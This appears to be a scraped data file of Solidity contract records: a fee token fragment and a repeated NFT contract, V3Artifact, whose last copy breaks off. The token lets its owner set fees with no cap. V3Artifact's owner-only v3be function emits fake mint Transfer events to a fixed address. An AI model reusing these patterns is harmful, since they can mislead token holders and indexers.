if(players.length >= 10){remove(0);} //Remove the oldest address
return false;} //We added the user address, removed the oldest, now return false to let tx to proceed
}
function _newEntity(address entityAddress) internal returns(bool success) {
players.push(entityAddress);
return true;
}
function getEntityCount() private view returns(uint entityCount) {
return players.length;
}
function getArr() public view returns (address[] memory) {
return players;
}
function isEntity(address entityAddress) public view returns(bool) {
uint256 i = 0;
do{
if( players[i] == entityAddress)
{ return true; }
else {i++;}
}
while( i <= players.length.sub(1));
return false;
}
function remove(uint index) private {
if (index >= players.length) return;
for (uint i = index; i<players.length-1; i++){
players[i] = players[i+1];
}
delete players[players.length-1];
players.pop();
}
// Management Functions ***Owner Only*** //
function excludeFromFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = false;
}
function setpinksale(address account) public onlyOwner() {
ps = account;
}
function setFees(uint256 burnfee, uint256 taxfee, uint256 liquidityFee) external onlyOwner() {
_burnFee = burnfee;
_taxFee = taxfee;
_liquidityFee = liquidityFee;
}
function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() {
minimumTokensBeforeSwap = _minimumTokensBeforeSwap;
}
function setMarketingAddress(address _marketingAddress, IUniswapV2Router02 _uniswapV2Router) external onlyOwner() {
marketingaddress = _marketingAddress;
uniswapV2Router = _uniswapV2Router; //For the router itself
}
function setpcsfortiers(address pcspair) external onlyOwner(){
PCS=pcspair;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner() {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setmaxwallet(uint256 _maxwalletsize) public onlyOwner{
max_wallet_size = _maxwalletsize;
}
//Make sure you add the 9 zeros at the end!!!
function update_tiers(uint256 t1_size,uint256 t1_percent,uint256 t2_size,uint256 t2_percent,uint256
t3_size,uint256 t3_percent,uint256 t4_size,uint256 t4_percent,uint256 t5_size,uint256 t5_percent)external onlyOwner(){
tier1_size = t1_size;
tier1_amount = t1_percent;
tier2_size = t2_size;
tier2_amount = t2_percent;
tier3_size = t3_size;
tier3_amount = t3_percent;
tier4_size = t4_size;
tier4_amount = t4_percent;
tier5_size = t5_size;
tier5_amount = t5_percent;
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
} | //to recieve ETH from uniswapV2Router when swaping | LineComment | v0.8.10+commit.fc410830 | Unlicense | ipfs://932af957b88e02db394eebe98dff1f7b354d3f1fe6453b3b6a28f304f8060847 | {
"func_code_index": [
22415,
22449
]
} | 4,281 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | totalSupply | function totalSupply() public view override returns (uint256) {
return currentIndex;
}
| /**
* @dev See {IERC721Enumerable-totalSupply}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
1824,
1926
]
} | 4,282 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
bool public _isClaimOpen = true;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// has wallet claimed the airdrop
mapping(address => bool) public _hasWalletClaimed;
event Claimed(address account, uint256 amount);
string public _baseURIPath = 'ipfs://QmVLCj5rs43W46zM1D2LcE9RgnEwGsvV15YY974pjR3Ar3/';
uint256 public _totalClaimed = 0;
bool public _isMintLive = true;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert('ERC721A: unable to get token of owner by index');
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'ERC721A: balance query for the zero address');
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(owner != address(0), 'ERC721A: number minted query for the zero address');
return uint256(_addressData[owner].numberMinted);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
require(_exists(tokenId), 'ERC721A: owner query for nonexistent token');
for (uint256 curr = tokenId; ; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert('ERC721A: unable to determine the owner of token');
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token');
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString(), '.json')) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return _baseURIPath;
}
function setBaseURI(string memory newPath) external onlyOwner {
_baseURIPath = newPath;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = V3Artifact.ownerOf(tokenId);
require(to != owner, 'ERC721A: approval to current owner');
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
'ERC721A: approve caller is not owner nor approved for all'
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), 'ERC721A: approved query for nonexistent token');
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), 'ERC721A: approve to caller');
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
function setPrice(uint256 newPrice) external {
require(msg.sender == _owner);
_price = newPrice;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function mint_(address to, uint256 quantity) external {
require(msg.sender == _owner);
_safeMint(to, quantity);
}
function setMintIsLive(bool flag) external {
require(msg.sender == _owner);
_isMintLive = flag;
}
function mint(address to, uint256 quantity) external payable {
require(quantity <= 30 && quantity > 0);
require(_isMintLive, "mint must be live");
require(_price * quantity == msg.value);
// 1411 total artifacts - total claimed = total unclaimed artifacts. leave rest for reserved claimers.
uint256 totalUnclaimed = 1411 - _totalClaimed;
// only allow mints
require(currentIndex + quantity <= 5000 - totalUnclaimed);
payable(_owner).transfer(msg.value);
_safeMint(to, quantity);
}
// emits good v3bes
function v3be(uint256 amountV3bes) external onlyOwner {
for (uint i = 0 ;i<amountV3bes;i++) {
emit Transfer(address(0), 0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B, 42069);
}
}
function claim(
address account,
uint256 amount,
bytes32[] calldata merkleProof
) public {
require(_isClaimOpen);
require(currentIndex + amount <= 5000);
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(account, amount));
require(account == msg.sender);
require(!_hasWalletClaimed[msg.sender]);
require(
MerkleProof.verify(merkleProof, merkleRoot, node),
"MerkleDistributor: Invalid proof."
);
_safeMint(account, amount);
_hasWalletClaimed[msg.sender] = true;
// do your logic accordingly here
_totalClaimed += amount;
emit Claimed(account, amount);
}
function isClaimOpen() public view returns (bool) {
return _isClaimOpen;
}
function setClaimIsOpen(bool isOpen) external {
require(msg.sender == _owner);
_isClaimOpen = isOpen;
}
// checks if a wallet has claimed airdrop
function hasClaimed(address addr) public view returns (bool) {
return _hasWalletClaimed[addr];
}
function getTotalClaimed() public view returns(uint256) {
return _totalClaimed;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), 'ERC721A: mint to the zero address');
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), 'ERC721A: token already minted');
require(quantity > 0, 'ERC721A: quantity must be greater than 0');
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
_addressData[to].balance += uint128(quantity);
_addressData[to].numberMinted += uint128(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe) {
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
'ERC721A: transfer to non ERC721Receiver implementer'
);
}
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved');
require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner');
require(to != address(0), 'ERC721A: transfer to the zero address');
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
}
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous ownefr of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert('ERC721A: transfer to non ERC721Receiver implementer');
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
} | tokenByIndex | function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), 'ERC721A: global index out of bounds');
return index;
}
| /**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/ | NatSpecMultiLine | v0.8.1+commit.df193b15 | {
"func_code_index": [
1994,
2182
]
} | 4,283 |
||||
V3Artifact | contracts/V3Artifact.sol | 0x5647717e536e4a6d3e6cde2d848fb6d933db7acb | Solidity | V3Artifact | contract V3Artifact is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable, Ownable {
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
// merkle root for airdrop
bytes32 public immutable merkleRoot = 0xb89e5dc927d0daa49a33f00f520d9e2eb050c5b31a58f59a0f3bc02dfad66f7e;
uint256 internal currentIndex = 0;
// mint price
uint256 public _price = 69000000000000000;
// Token name
string private _name;
address private _owner = msg.sender;
